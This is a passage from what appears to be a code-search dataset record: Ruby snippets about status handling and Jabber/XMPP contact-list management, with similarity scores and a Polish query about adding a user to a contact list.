"def parse_status(status)\n status = status.to_hex_s\n \n sw1 = status[-4..-3]\n sw2 = status[-2..-1]\n \n case sw1\n when \"67\"\n case sw2\n when \"00\" then err = \"LC_INVALID\"\n else\n raise \"Unknown sw2 #{ sw2.inspect } for sw1 #{ sw1.inspect }\"\n end\n \n when \"6a\"\n case sw2\n when \"82\" then err = \"FILE_NOT_FOUND\"\n when \"86\" then err = \"INVALID_P1_P2\"\n else\n raise \"Unknown sw2 #{ sw2.inspect } for sw1 #{ sw1.inspect }\"\n end\n \n when \"90\"\n case sw2\n when \"00\"\n err = \"NO_ERROR\"\n else\n raise \"Unknown sw2 #{ sw2.inspect } for sw1 #{ sw1.inspect }\"\n end\n \n when \"98\"\n case sw2\n when \"01\" then err = \"TIM_ERROR_TLV\"\n when \"02\" then err = \"TIM_ERROR_VALUE\"\n when \"03\" then err = \"TIM_ERROR_DATA_MISSING\"\n when \"04\" then err = \"TIM_ERROR_INVALID_CHARACTER\"\n when \"11\" then err = \"TIM_ERROR_DATE_FORMAT\"\n when \"12\" then err = \"TIM_ERROR_DATE_OUT_OF_RANGE\"\n when \"13\" then err = \"TIM_ERROR_CURRENCY\"\n when \"21\" then err = \"TIM_ERROR_TAX_VERIFICATION_FAILED\"\n when \"22\" then err = \"TIM_ERROR_NEGATIVE_TURNOVER\"\n when \"31\" then err = \"TIM_ERROR_INVALID_SIGNATURE\"\n when \"41\" then err = \"TIM_ERROR_INVALID_LIFECYCLE\"\n when \"e1\" then err = \"TIM_ERROR_MEMORY_FAILURE\"\n when \"e2\" then err = \"TIM_ERROR_DATA_CORRUPTED\"\n when \"ff\" then err = \"TIM_ERROR_NOT_SUPPORTED\"\n else\n raise \"Unknown sw2 #{ sw2.inspect } for sw1 #{ sw1.inspect }\"\n end\n \n else\n raise \"Unknown sw1 #{ sw1.inspect }\"\n end\n \n Insika.log(\"Parsed status #{ err }\")\n return err\n end",
"def status\n status = \"\"\n if points < 4000\n status = \"Baby Seeder\"\n elsif points < 8000\n status = \"Aspiring Gardener\"\n elsif points < 15000\n status = \"Garden Hero\"\n else\n status = \"Plant Wizard\"\n end\n end",
"def good\n @status\n end",
"def status\n refund? ? 3 : redeemed? ? 1 : (used_status? ? 2 : 0)\n end",
"def get_status\n\t\tstatus\n\tend",
"def status st=nil\n @status = st if st\n @status ||= 200 #TODO: replace with constants or Kiwi.status[:OK]\n end",
"def status\n 'unknown'\n end",
"def status_sym\n return nil if status.nil?\n Bike.what_status_is[status]\n end",
"def status\n if canceled.present?\n return 'canceled'\n elsif returned.present?\n return 'returned'\n elsif due_back?\n return 'due back'\n elsif shipped.present?\n return 'shipped'\n elsif authorized\n return 'placed'\n else\n return 'placed'\n end\n end",
"def status_message\n if self.deleted_at\n return \"Cancelled\"\n else\n if self.chosen_presenter == nil\n if self.help_required\n return \"Help Required\"\n elsif self.presenters.present?\n return \"Bids Pending\"\n else\n return \"Awaiting Bids\"\n end\n else\n if self.booking_date < Time.now\n return \"Completed\"\n else\n return \"Locked in\"\n end\n end\n end\n end",
"def get_status_text(status)\n return \"Failed\" if status.upcase == 'DOWN'\n return \"Passed\" if status.upcase == 'UP'\n\n return \"Unknown\"\nend",
"def status(*) end",
"def closed_status\n closed_status_wording || 'Awarded'\n end",
"def status\n return STATUSES[:hidden] unless hit\n return STATUSES[:water] unless occupied?\n boat.sunk? ? STATUSES[:sunk] : STATUSES[:hit]\n end",
"def status\n\t\t:not_acceptable\n\tend",
"def status\n\t\t:not_acceptable\n\tend",
"def status\n \"#{@description} #{@status}\"\n end",
"def status\n data[:status]\n end",
"def stringify_status(status_code)\n case status_code\n when 0\n 'paused'\n when 1\n 'not_checked_yet'\n when 2\n 'up'\n when 8\n 'seems_down'\n when 9\n 'down'\n else\n 'unknown'\n end\nend",
"def actu(status)\n\t\tif @plateau[status[0]][status[1]] == \" \"\n\t\t\t@plateau[status[0]][status[1]] = status[2]\n\t\t\taff()\n\t\telse\n\t\t\tif status[3] != \"ia\"\n\t\t\t\tputs\"case déja remplis veillez rejouer\"\n\t\t\tend\n\t\t\treturn false\n\t\tend\n\tend",
"def get_status\n @reply['status']\n end",
"def status_message; end",
"def status\n if params['fraud_status'] == 'pass' || params['credit_card_processed'] == 'Y'\n 'Completed'\n elsif params['fraud_status'] == 'wait'\n 'Pending'\n else\n 'Failed'\n end\n end",
"def status=(v)\n @status = alma_string v\n end",
"def normalize_status(status)\n case status\n when 'Sisäänkirjaus', 'Sisäänkirjautuminen'\n return 'Vapaa'\n when 'Puhelu (Ulos)', 'Puhelu (Sisään)', 'Ulossoitto'\n return 'Puhelu'\n when /^Varattu \\((.*)\\)$/\n return Regexp.last_match[1]\n else\n return status\n end\n end",
"def status_verifikasi\n if self.status_verifikasi_verifikator == 0\n return \"Belum terproses\"\n elsif self.status_verifikasi_verifikator == 1\n return \"Layak\"\n elsif self.status_verifikasi_verifikator == 2\n return \"Tidak Layak\"\n elsif self.status_verifikasi_verifikator == 3\n return \"Perbaikan\"\n end\n end",
"def unknown; status[:unknown]; end",
"def status; end",
"def status; end",
"def status; end",
"def status; end",
"def status; end",
"def status; end",
"def status; end",
"def status; end",
"def status; end",
"def get_status status_code\n status = STATUSES[status_code]\n if status\n status\n else\n status = STATUSES['IV']\n end\n end",
"def check_status(diacritics = true)\n if (self.paid == 0)\n if (self.deadline >= Time.utc(Time.now.year, Time.now.month, Time.now.day + 1).to_i)\n return \"<td style='color: orange'>#{LocalizeHelper::get_string(:pending)}</td>\" if diacritics\n return \"wait\"\n else\n return \"<td style='color: red'>#{LocalizeHelper::get_string(:late)}</td>\" if diacritics\n return \"late\"\n end\n else\n if (self.deadline < self.paid)\n return \"<td style='color: green'>zaplaceno(pozdě)</td>\" if diacritics\n return \"ok_late\"\n else\n return \"<td style='color: green'>zaplaceno(O.K.)</td>\" if diacritics\n return \"ok\"\n end\n end\n end",
"def status=(status); end",
"def tweet_status_explanation(status)\n case status\n when 'created'\n 'Pendiente de aprobación por la celebridad'\n when 'influencer_reviewed'\n 'Pendiente de aprobación por el anunciante'\n when 'influencer_rejected'\n 'Rechazado por la celebridad'\n when 'advertiser_reviewed'\n 'Pendiente de aprobación por la celebridad'\n when 'advertiser_rejected'\n 'Rechazado por el anunciante'\n when 'accepted'\n 'Aceptado, se publicara en la fecha y hora convenidas'\n when 'activated'\n 'Activo, el Tweet ya fue públicado'\n when 'expired'\n 'Vencido, el Tweet no fue aceptado ni rechazado'\n end\n end",
"def read_status(message)\n\n @dbaccess.write_to_log(2,'handle read status')\n\n #$bot_control.read_hw_status()\n\n return_message =\n {\n :message_type => 'read_status_response',\n :time_stamp => Time.now.to_f.to_s,\n :confirm_id => message.time_stamp,\n\n :status => Status.current.info_status,\n :status_time_local => Time.now,\n :status_nr_msg_received => $info_nr_msg_received,\n :status_movement => Status.current.info_movement,\n :status_last_command_executed => Status.current.info_command_last,\n :status_next_command_scheduled => Status.current.info_command_next,\n :status_nr_of_commands_executed => Status.current.info_nr_of_commands,\n :status_current_x => Status.current.info_current_x,\n :status_current_y => Status.current.info_current_y,\n :status_current_z => Status.current.info_current_z,\n :status_target_x => Status.current.info_target_x,\n :status_target_y => Status.current.info_target_y,\n :status_target_z => Status.current.info_target_z,\n :status_end_stop_x_a => Status.current.info_end_stop_x_a,\n :status_end_stop_x_b => Status.current.info_end_stop_x_b,\n :status_end_stop_y_a => Status.current.info_end_stop_y_a,\n :status_end_stop_y_b => Status.current.info_end_stop_y_b,\n :status_end_stop_z_a => Status.current.info_end_stop_z_a,\n :status_end_stop_z_b => Status.current.info_end_stop_z_b,\n\n :status_pin_8 => Status.current.info_pin_8,\n :status_pin_9 => Status.current.info_pin_9,\n :status_pin_10 => Status.current.info_pin_10,\n :status_pin_13 => Status.current.info_pin_13\n }\n\n @dbaccess.write_to_log(2,\"return_message = #{return_message}\")\n\n message.handler.send_message(message.sender, return_message)\n\n end",
"def status\n end",
"def status\n end",
"def status\n end",
"def status\n end",
"def status_map(status)\n case status\n when nil then 'pass'\n when :passed then 'pass'\n when :failed then 'fail'\n when :undefined then 'error'\n when :skipped then 'ignore'\n when :comment then 'ignore'\n else 'pass'\n end\n end",
"def status\n info['status']\n end",
"def unknown; status[:unknown] || []; end",
"def invite_status\n if status == 'running'\n 'running'\n elsif status == 'applying'\n if Time.now < self.campaign.recruit_end_time\n 'applying'\n else\n 'end_apply'\n end\n elsif status == 'approved' && self.campaign.is_recruit_type?\n if Time.now < self.campaign.start_time\n 'apply_passed'\n else\n 'executing'\n end\n elsif status == 'approved'\n if !start_upload_screenshot\n 'approved_and_unstart_upload'\n elsif img_status == 'pending' && screenshot.blank?\n 'approved_and_can_upload'\n elsif img_status == 'pending' && screenshot.present?\n 'approved_and_uploaded'\n elsif img_status == 'passed'\n 'approved_and_passed'\n elsif img_status == 'rejected'\n 'approved_and_rejected'\n else\n 'unknown'\n end\n elsif status == 'finished'\n if !start_upload_screenshot\n 'finished_and_unstart_upload'\n elsif img_status == 'pending' && screenshot.blank?\n 'finished_and_can_upload'\n elsif img_status == 'pending' && screenshot.present?\n 'finished_and_uploaded'\n elsif img_status == 'rejected'\n 'finished_and_rejected'\n else\n 'unknown'\n end\n elsif status == 'settled'\n 'settled'\n elsif status == 'rejected'\n 'rejected'\n elsif status == 'missed'\n 'missed'\n else\n 'unknown'\n end\n end",
"def status\n return :code => info[:statuscode].to_i, :messages => info[:messages]\n end",
"def status\n if self.started_at.nil? and self.stopped_at.nil?\n 'Pending'\n elsif self.started_at.present? and self.stopped_at.nil?\n 'Active'\n elsif self.started_at.present? and self.stopped_at.present?\n 'Completed'\n end\n end",
"def mailout_status_display\n if self.mailout_status == 'n'\n return 'Not sent'\n end\n if self.mailout_status == 'r'\n return 'Send requested'\n end\n if self.mailout_status == 'i'\n return 'Send in progress'\n end\n if self.mailout_status == 's' \n return 'Sent'\n end\n end",
"def check_status(status)\n return 'Alive' if status.eql?('200')\n 'Dead'\n end",
"def s_status(s_language)\n s_out=breakdancemake_s_bdmservice_status_by_PATH_only_t1(s_language)\n return s_out\n end",
"def transform_status(status); end",
"def gen_status_string(params)\n ops_string = ''\n if params['status'] != 'null'\n status_keys = { 'Green' => 'false', 'Yellow' => 'false', 'Red' => 'false' }\n\n status_keys['Green'] = params['Green'] if params.key?('Green')\n status_keys['Yellow'] = params['Yellow'] if params.key?('Yellow')\n status_keys['Red'] = params['Red'] if params.key?('Red')\n\n status_keys.each do |key, value|\n next unless value.downcase == 'true'\n\n ops_string << 'or ' if ops_string != ''\n ops_string << \"status = '#{key}' \"\n end\n ops_string\n end\n end",
"def convert_status(old_status)\n old_status.nil? ? \"active\" : old_status\n end",
"def status_in_words\n return \"Champion's Bracket\" if status == 1\n return \"Second Chance Bracket\" if status == 2\n return \"Knocked Out for the season!\"\n end",
"def to_s\n return 'inactive' if inactive?\n\n # try to mimics stat behaviour to minimize readings\n result = status_string\n result += ', got TERM' if got_term?\n result += ', want down' if want_down?\n result += ', want up' if want_up?\n result\n end",
"def status\n @status\n end",
"def status\n @status\n end",
"def actu(status)\n\t\tif @plateau[status[0]][status[1]] == \" \"\n\t\t\t@plateau[status[0]][status[1]] = status[2]\n\t\t\taff()\n\t\telse\n\t\t\tputs\"case déja remplis veillez rejouer\"\n\t\t\treturn false\n\t\tend\n\tend",
"def status\n STATUSES[self.status_id || 0]\n end",
"def custom_status\n {}\n end",
"def status\n data.status\n end",
"def status\n return 'Appealed' if self.punishment.appealed?\n return 'Closed' if !self.open || self.locked\n return 'Escalated' if self.escalated\n return 'Open'\n end",
"def set_status(input)\n\t\tif input.is_a?(Integer)\n\t\t\t@status = input == 0 ? 'O' : 'X'\n\t\telsif input.is_a?(String)\n\t\t\t@status = input.downcase == \"o\" ? 'O' : 'X'\n\t\telsif input.is_a?(TrueClass) || input.is_a?(FalseClass)\n\t\t\t@status = input ? 'O' : 'X'\n\t\telse\n\t\t\treturn nil\n\t\tend\n\tend",
"def get_status_string(status)\n case status\n when :started, :scheduled then \"#{Tty.green}#{status}#{Tty.reset}\"\n when :stopped, :none then \"#{Tty.default}#{status}#{Tty.reset}\"\n when :error then \"#{Tty.red}error #{Tty.reset}\"\n when :unknown then \"#{Tty.yellow}unknown#{Tty.reset}\"\n end\n end",
"def status(result)\n result = result.upcase\n if result == \"PASS\"\n id_value = \"statuspass\"\n else\n id_value = \"statusfail\"\n end\n id_value\n end",
"def status\n STATUSES[code] || 'Unknown'\n end",
"def status_to_s\n \tSTATUSES[self.status].humanize\n end",
"def status\n params[\"Status\"]\n end",
"def status_sym\n (status || :off).to_sym\n end",
"def status_text\n case @state\n when 0\n H87Enchant::ST1\n when 1\n H87Enchant::ST2\n when 2\n H87Enchant::STQ\n when 3\n H87Enchant::ST3\n when 4\n H87Enchant::ST4\n when 5\n H87Enchant::ST5\n else\n ; 'ERRORE 01'\n end\n end",
"def status_description\n\t\treturn case self.status\n\t\t\twhen 'M' then 'modified'\n\t\t\twhen 'A' then 'added'\n\t\t\twhen 'R' then 'removed'\n\t\t\twhen 'C' then 'clean'\n\t\t\twhen '!' then 'missing'\n\t\t\twhen '?' then 'not tracked'\n\t\t\twhen 'I' then 'ignored'\n\t\t\telse\n\t\t\t\traise \"unknown status %p\" % [ self.status ]\n\t\t\tend\n\tend",
"def zmiany_statusow\n\tstatusy=[]\n\twhile(!@kolejka_statusow.empty?)\n\t\tstatus=@kolejka_statusow.pop(true) rescue nil\n\t\tbreak if status.nil?\n\t\tstatusy << status\n\t\tyield status if block_given?\n\tend\n\tstatusy\n end",
"def entry_status=(value)\n case value\n when \"有效的\", \"käytössä\", \"действующий\", \"válido\"\n value = \"valid\"\n when \"korvattu\", \"reemplazado\"\n value = \"superseded\"\n when \"информация отсутствует\" # \"information absent\"!?\n value = \"retired\"\n when %w(notValid valid superseded retired)\n # do nothing\n end\n @entry_status = value\n end",
"def state_text\n EasyLoan::LoanBill::STATE_TEXT.fetch(bill_state.to_sym, \"无状态\")\n end",
"def status_to_css\n if status != \"Active\" || docks_available < 1\n \"error\"\n elsif docks_available == 1\n \"warning\"\n else\n \"success\"\n end\n end",
"def status_sym\n if self.stars_final.present?\n return :completed\n else\n if self.primary_program_budge?\n if self.day_of_budge.present? and self.day_of_budge < 1\n if self.day_of_budge == 0\n return :ready_to_start # Ready to be moved to day 1\n else\n return :needs_reviving # Start them on a new budge (determine best place)\n end\n elsif self.day_starts_at.present? and self.day_starts_at > Time.now.utc\n return :scheduled\n else\n old_time_zone = Time.zone\n Time.zone = self.program_player.user.time_zone_or_default\n if self.last_completed_date.present? and self.last_completed_date >= Time.zone.today\n Time.zone = old_time_zone\n return :caught_up\n else\n Time.zone = old_time_zone\n if self.days_late <= 3\n return :in_progress\n else\n return :time_up\n end\n end\n end\n else\n return :unknown\n end\n end\n end",
"def status\n @json_body['status']\n end",
"def convert_optional_status status\n return nil if status.nil?\n\n Google::Rpc::Status.new code: status.code, message: status.message\n end",
"def status\n if complete?\n \"PAID\"\n else\n \"PENDING\"\n end\n end"
] |
[
"0.664545",
"0.63794386",
"0.6249846",
"0.6202992",
"0.6197656",
"0.6161809",
"0.6145117",
"0.61210513",
"0.6106015",
"0.6086255",
"0.6070663",
"0.60424393",
"0.6041791",
"0.60356873",
"0.59634554",
"0.5957991",
"0.5951173",
"0.5929565",
"0.59281933",
"0.59238863",
"0.5906151",
"0.59001905",
"0.5894146",
"0.58914924",
"0.5865267",
"0.5837447",
"0.5837332",
"0.5831666",
"0.5811594",
"0.58063155",
"0.58034986",
"0.5796205",
"0.5796205",
"0.57916224",
"0.57831925",
"0.5778309",
"0.57779425",
"0.5761544",
"0.57544345",
"0.57514083",
"0.57470477",
"0.5741839",
"0.57303244",
"0.57285786",
"0.5719587",
"0.5719587",
"0.5719587",
"0.5719587",
"0.5719587",
"0.5719587",
"0.5719587",
"0.5719587",
"0.5719587",
"0.57052815",
"0.56931424",
"0.5684267",
"0.5673832",
"0.56552005",
"0.56523734",
"0.56523734",
"0.56523734",
"0.56523734",
"0.56505954",
"0.56480193",
"0.5647719",
"0.5637725",
"0.5637042",
"0.56357366",
"0.5633626",
"0.5630992",
"0.56288546",
"0.5626623",
"0.5620282",
"0.56171685",
"0.5608245",
"0.5599067",
"0.5598133",
"0.5598133",
"0.5593233",
"0.5591136",
"0.5586141",
"0.55839074",
"0.55834556",
"0.5581629",
"0.5578143",
"0.55725455",
"0.5569839",
"0.55597824",
"0.55564827",
"0.55389315",
"0.55364937",
"0.55357635",
"0.5530669",
"0.55160177",
"0.55132425",
"0.55108595",
"0.5509947",
"0.5496866",
"0.5495045",
"0.5495021"
] |
0.6899745
|
0
|
Dodaje uzytkownika do listy kontaktow jid [Jabber::JID] jid uzytkownika do dodania
|
def dodaj_do_listy(*jid)
kontakty(*jid) do |kontakt|
next if subskryp?(kontakt)
kontakt.autoryzacja
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def usun_z_listy(*jid)\n\tkontakty(*jid) do |usun|\n\t\tusun.usun_subskrypcje\n\t\treq=Iq.new_rosterset\n\t\treq.query.add(Roster::RosterItem.new(usun.jid,nil,:remove))\n\t\twyslij(req)\n\tend\n end",
"def jid; end",
"def list_jobs(username, password, uuid = nil)\n jobs = get_json('jobs.json', username, password)\n puts \"\"\n jobs[\"jobs\"].each do |job|\n next if uuid && job['uuid'] != uuid\n if job['jobURL']\n job.merge!(get_json(job['jobURL'], username, password, ''))\n end\n puts summarise_job(job, 2)\n puts \"\"\n end\n del = jobs['delivered']\n puts \"#{del['jobCount']} jobs, #{del['activityCount']} activities delivered since #{del['since']}\"\nend",
"def [](jid)\n each { |item|\n return(item) if item.jid == jid\n }\n nil\n end",
"def add_user(jid)\n users << jid.to_s.downcase\n users.sort!\n users.uniq!\n end",
"def inspect\n jids = to_a.collect { |item| item.jid.inspect }\n jids.join(', ')\n end",
"def loguj(jids,haslo)\n\tjid=JID::new(jids)\n\t@klient=Client::new(jid)\n\[email protected]\n\[email protected](haslo)\n\[email protected](Presence.new.set_type(:available))\n\t@wiadomosci_do_wyslania=Queue.new\n\tdef_callback\n\tsleep(1)\n\tThread.new{\n\t\twhile(true)\n\t\t\tnext if @wiadomosci_do_wyslania.length<1\n\t\t\twiadomosci=[@wiadomosci_do_wyslania.pop]\n\t\t\twiadomosci.each{ |wiadomosc|\n\t\t\t\tif subskryp?(JID::new(wiadomosc[:do]))\n\t\t\t\t\twyslij_wiadomosc(wiadomosc[:do],wiadomosc[:wiadomosc],wiadomosc[:typ])\n\t\t\t\telse\n\t\t\t\t\t@wiadomosci_do_wyslania << wiadomosc\n\t\t\t\tend\n\t\t\t}\n\t\tend\n\t}\n end",
"def jid\n JID.new(unsubscribe[:jid])\n end",
"def jid=(jid)\n unsubscribe[:jid] = jid\n end",
"def show_messages(uids)\n return if uids.nil? or (Array === uids and uids.empty?)\n\n fetch_data = 'BODY.PEEK[HEADER.FIELDS (DATE SUBJECT MESSAGE-ID)]'\n messages = imap.fetch uids, fetch_data\n fetch_data.sub! '.PEEK', '' # stripped by server\n\n messages.each do |res|\n puts res.attr[fetch_data].delete(\"\\r\")\n end\n end",
"def list_of_messages()\n\t\t\n\t\t#Create a new request\n\t\trequest_url = \"https://www.googleapis.com/gmail/v1/users/#{@email}/messages?labelIds=Label_1&access_token=#{@access_token}\"\n\n\t\t#GET REQUEST\n\t\tresponse = RestClient.get request_url\n\t\tresponse_body = JSON.parse(response.body)\n\n\t\t#Looping through all the Messages and grabbing id\n\t\tmessages= Array.new\n\n\t\ttemp = response_body['messages']\n\t\ttemp.each do |item|\n\t\t\tmessages.push(item['id'])\n\t\tend \n\t\n\t\treturn messages\n\tend",
"def [](jid)\n users.find {|user| user.jid == jid }\n end",
"def jid\n client.jid\n end",
"def retrieve_tweet_ids\n imap = Net::IMAP.new('imap.gmail.com', 993, true, nil, false)\n imap.login(@account['credentials']['email_address'], @account['credentials']['email_password'])\n imap.select('INBOX')\n imap.search([\"NOT\",\"SEEN\"]).each do |message_id|\n msg = imap.fetch(message_id, 'RFC822')[0].attr['RFC822']\n # imap.store(message_id, '+FLAGS', [:Seen])\nputs msg\n end \n imap.logout()\n imap.disconnect()\n end",
"def get_rooms \n json_rooms = IO.popen(\"curl -u #{@config['campfire_config']['API_KEY']}:X #{@config['campfire_config']['URL']}/presence.json\") \n parsed_rooms = JSON.parse(json_rooms.readlines.first)[\"rooms\"]\n rooms = parsed_rooms.collect {|room| [room[\"name\"],room[\"id\"]]} \nend",
"def send_user_list(path)\n path = path[1..-1]\n path = path[0..-2] if path.ends_with?(\"/\")\n results = []\n I3.directory.find_people(:groups, path).each do |uuid|\n p = I3.directory.read_person(uuid)\n result = I3::SharedObject.new\n result.account_name = p.account_name.to_s.downcase\n result.first_name = p.first_name.to_s\n result.last_name = p.last_name.to_s\n result.description = p.description.to_s\n results << result\n end #each\n I3.server.send_object(results)\n end",
"def interested_resources(*jid)\n ids = jid.flatten.map {|jid| Jabber::JID.new(jid).bare }\n (clients | bosh_clients).select do |stream|\n stream.interested? && ids.include?(stream.user.jid.bare)\n end\n end",
"def jid\n \"#{@username}@#{@domain}\"\n end",
"def list\n @client.call(method: :get, path: 'recipient-lists')\n end",
"def fNotificationListFrom (email)\n @users.notificationListFrom(email)\n end",
"def available_resources(*jid)\n ids = jid.flatten.map {|jid| Jabber::JID.new(jid).bare }\n (clients | bosh_clients).select do |stream|\n stream.available? && ids.include?(stream.user.jid.bare)\n end\n end",
"def connected_resources(jid)\n jid = Jabber::JID.new(jid) unless jid.kind_of?(Jabber::JID)\n (clients | bosh_clients).select do |stream|\n stream.connected? && jid == (jid.bared? ? stream.user.jid.bare : stream.user.jid)\n end\n end",
"def chat_admins (chatid, bot, message) # Crea un'array con gli amministratori\n nome = \"chat_admins\"\n resp = bot.api.get_chat_administrators(chat_id: chatid)\n arr_adm = resp['result']\n ret = Array.new\n arr_adm.each do |adm|\n temp = {\n 'id' => adm['user']['id'].to_s,\n 'nome' => pulisci(adm['user']['first_name']),\n 'user' => adm['user']['username'],\n 'status' => status(adm['status'])\n }\n ret.push(temp)\n end\n s_log(nome, chatid, bot, message, ret)\n ret\nend",
"def get_24h_moji_json_list(mojifile)\n jsl=[]\n File.open(mojifile, 'r:utf-8') do |file|\n file.each do |line|\n jsl.push(line)\n end\n end\n jsl\n end",
"def mail_list\n str =\"\"\n self.users.each do |person|\n str << \"#{person.login} <#{person.email}> \\n\"\n end\n str\n end",
"def list\n\n get_list['list'].collect { |e| ParticipantEntry.new(e) }\n end",
"def get_note_list\n note = queued_email_note\n note ? note.value.to_s.split(\",\") : nil\n end",
"def jid\n JID::new(attributes['jid'])\n end",
"def jid\n JID::new(attributes['jid'])\n end",
"def jid\n JID::new(attributes['jid'])\n end",
"def list_watch(response)\n room_name = response.room.andand.name\n user_name = response.user.andand.name\n response.reply \"#{response.user.name}, list for '#{room_name || user_name}': \"\\\n \"#{list_spam(room_name, user_name)}\"\n rescue Error => e\n log.error e.inspect\n log.error response.inspect\n response.reply \"#{response.user.name}, #{e}\"\n end",
"def mucs(jid = nil)\n jid ||= \"conference.#{jubjub_jid.domain}\"\n Jubjub::Muc::Collection.new jid, jubjub_connection\n end",
"def listpeers\n id = @utils.id_generate\n send_packet @utils.packet_mangler({\"Identifier\" => id, \"WithMetaData\" => true, \"WithVolatile\" => false},\"ListPeers\")\n wait_for id, /EndListPeers/\n end",
"def get_24h_moji_json_list(mojifile)\n mojifile.gsub!(\"/\", \"\\\\\") if Selenium::WebDriver::Platform.windows?\n jsl=[]\n File.open(mojifile, 'r:utf-8') do |file|\n file.each do |line|\n jsl.push(line)\n end\n end\n jsl\n end",
"def curator_list\n users.map(&:email)\n end",
"def runJabber\n \n i = 0\n while i < 3 do \n begin\n @jbclient = Jabber::Client.new Jabber::JID.new(@@conf[\"jabber_account\"])\n @jbclient.connect(@@xmpp_host, @@xmpp_port)\n @jbclient.auth(@@conf[\"password\"])\n @jbclient.send(Jabber::Presence.new.set_type(:available))\n puts \"Connected to jabber server\" if @jbclient.is_connected?\n \n roster = Jabber::Roster::Helper.new(@jbclient)\n \n roster.add_subscription_request_callback { |item,presence|\n if presence.from == @@visualRESTmain\n roster.accept_subscription(presence.from)\n end\n }\n i = 3\n rescue => exception\n puts \"xmpp \" + exception\n sleep(1)\n i += 1\n end\n end\n \n @jbclient.add_message_callback { |msg|\n if msg != nil and msg.type == :chat and msg.body and msg.from == @@visualRESTmain\n puts \"<#{msg.from}> #{msg.body.strip}\"\n \n cmd, arg = msg.body.split(/ /, 2)\n \n if cmd and @@test_messages\n puts \"CMD: \" + cmd\n end\n if arg and @@test_messages\n puts \"ARG: \" + arg\n end\n command(msg.from, cmd, arg)\n end\n }\nend",
"def jid=(_arg0); end",
"def validate_users(jids)\n return [] unless jids\n users = User.by_jid.keys(jids)\n users.map {|u| u.system? ? nil : u.jid }.compact\n end",
"def get_roomID_list(username, token, cookie)\n \n # Use the cookie from login process to create Mechanize::CookieJar\n auth_token = cookie.sub(/.*=([0-9]*);(.*)/) { $1 }\n cookie_jar = Mechanize::Cookie.new(\"auth_token\", auth_token)\n cookie_jar.domain = \"admin.booking.com\"\n cookie_jar.path = \"/\"\n \n # Create the Mechanize agent\n agent = Mechanize.new\n agent.verify_mode = OpenSSL::SSL::VERIFY_NONE\n agent.cookie_jar.add(cookie_jar)\n \n \n # Grab the list of all rooms ID\n roomID_list = Array.new\n properties_url = \"https://admin.booking.com/hotel/hoteladmin/extranet_ng/manage/rooms.html?lang=en&ses=#{token}&hotel_id=#{username}\"\n agent.get(properties_url).search(\"div#room_summaries\").css(\"a.edit-room.btn-default.btn\").each do |link|\n roomID_list << link[\"data-room-id\"]\n end\n \n puts \"We found #{roomID_list.length} rooms ID in your account.\"\n puts \"---------------------------------------------------------------------\"\n \n return roomID_list\n \n end",
"def jid=(jid)\n subscription_node[:jid] = jid\n end",
"def jid=(jid)\n attributes[:jid] = jid\n end",
"def auto_complete_for_message_to\n q = params[:message][:to] if params[:message]\n render :nothing => true if q.blank?\n @users = User.find(:all, :order => \"login ASC\", :conditions => [\"login LIKE ?\", \"%#{q}%\"], :limit => 10)\n render :inline => \"<%= content_tag(:ul, @users.map { |u| content_tag(:li, h(u.login)) }) %>\"\n end",
"def find_roster(jid)\n jid = JID.new(jid).bare\n redis.hgetall(\"roster:#{jid}\") do |roster|\n contacts = roster.map do |jid, json|\n contact = JSON.parse(json) rescue nil\n Contact.new(\n :jid => jid,\n :name => contact['name'],\n :subscription => contact['subscription'],\n :ask => contact['ask'],\n :groups => contact['groups'] || []) if contact\n end.compact\n yield contacts\n end\n end",
"def wyslij_wiadomosc(jid,wiadomosc,typ=:chat)\n\tkontakty(jid) do |znajomy|\n\t\tunless subskryp? znajomy\n\t\t\tdodaj_do_listy(znajomy.jid)\n\t\t\treturn dodaj_do_wyslania_po_akceptacji(znajomy.jid,wiadomosc,typ)\n\t\tend\n\t\twiad=Message.new(znajomy.jid)\n\t\twiad.type=typ\n\t\twiad.body=wiadomosc\n\t\twyslij(wiad)\n\tend\n end",
"def jid\n (a = attributes['jid']) ? JID.new(a) : nil\n end",
"def email_list\n end",
"def akceptuj_subskrypcje(jid)\n\troster.accept_subscription(jid)\n end",
"def list_friend\n ActionCable.server.broadcast(\n \"conversations-#{connect_user.id}\",\n message: 'list_user',\n data: User.where.not(id: connect_user).select('id, email')\n )\n end",
"def list(message)\n return if message.user.nick === ForrstBot::Bot.nick\n\n count = ForrstBot::Model::Note.filter(:user => message.user.nick).count\n\n if count > 0\n message.reply(\n \"You have #{count} note(s), speak in a channel I'm active in and \" \\\n + \"I'll send them to you.\",\n true\n )\n end\n end",
"def unsubscribe_all(domain, jid)\n jid = JID.new(jid)\n redis.smembers(\"pubsub:#{domain}:subscriptions_#{jid}\") do |nodes|\n nodes.each do |node|\n unsubscribe(domain, node, jid)\n end\n end\n end",
"def full\n jid.full\n end",
"def getId jid\n\t\tuser = @users.read [\"id\"], [\"jid\", jid]\n\t\tif user.count > 0\n\t\t\tuser[0]['id']\n\t\telse\n\t\t\tnil\n\t\tend\n\tend",
"def retrieve_messages(from = 10)\n uri = \"/#{@get_url}?#{get_query_string}\"\n lists = []\n @https_.start do\n body = @https_.get(uri, @get_header_).body\n StringIO.open(body, 'rb') do |sio|\n content = Zlib::GzipReader.wrap(sio).read\n lists = JSON.load(content)['result']['chat_list']\n end\n end\n\n new_message = []\n lists.each do |list|\n if list['tm'] >= Time.now.to_i - from\n new_message << list['msg']\n end\n end\n\n return new_message\n end",
"def list\n @mailing_list.contacts(limit: 10000).map{|contact| contact.email}\n end",
"def make_dlist(cuds)\n emails = []\n\n cuds.each do |cud|\n emails << cud.user.email.to_s\n end\n\n emails.join(\",\")\n end",
"def getMembersList()\n\t\tbegin\n\t \t@members=[];\n\t \tuserMembers = TwitterClient.list_members(@selectedList)\n\t \tuserMembers.each do |memberInList|\n\t \t\t@members << memberInList.id\n\t \tend\n\t \t@members\n\t rescue\n\t \t-1\n\t end\n\tend",
"def mcget_list_menbers(list_id)\n # 82dfd7f973, a38ec3df9c\n begin\n lists_res = setup_mcapi.lists.list({'list_id' => list_id})\n @list = lists_res['data'][0]\n members_res = setup_mcapi.lists.members(list_id)\n @members = members_res['data']\n rescue Mailchimp::ListDoesNotExistError\n flash[:error] = \"The list could not be found\"\n redirect_to \"/lists/\"\n rescue Mailchimp::Error => ex\n if ex.message\n flash[:error] = ex.message\n else\n flash[:error] = \"An unknown error occurred\"\n end\n redirect_to \"/lists/\"\n end\n end",
"def find_by_jid(qry)\n rooms.values.find {|r| r.id.is_a?(Jabber::JID) && qry.include?(r.id.node) }\n end",
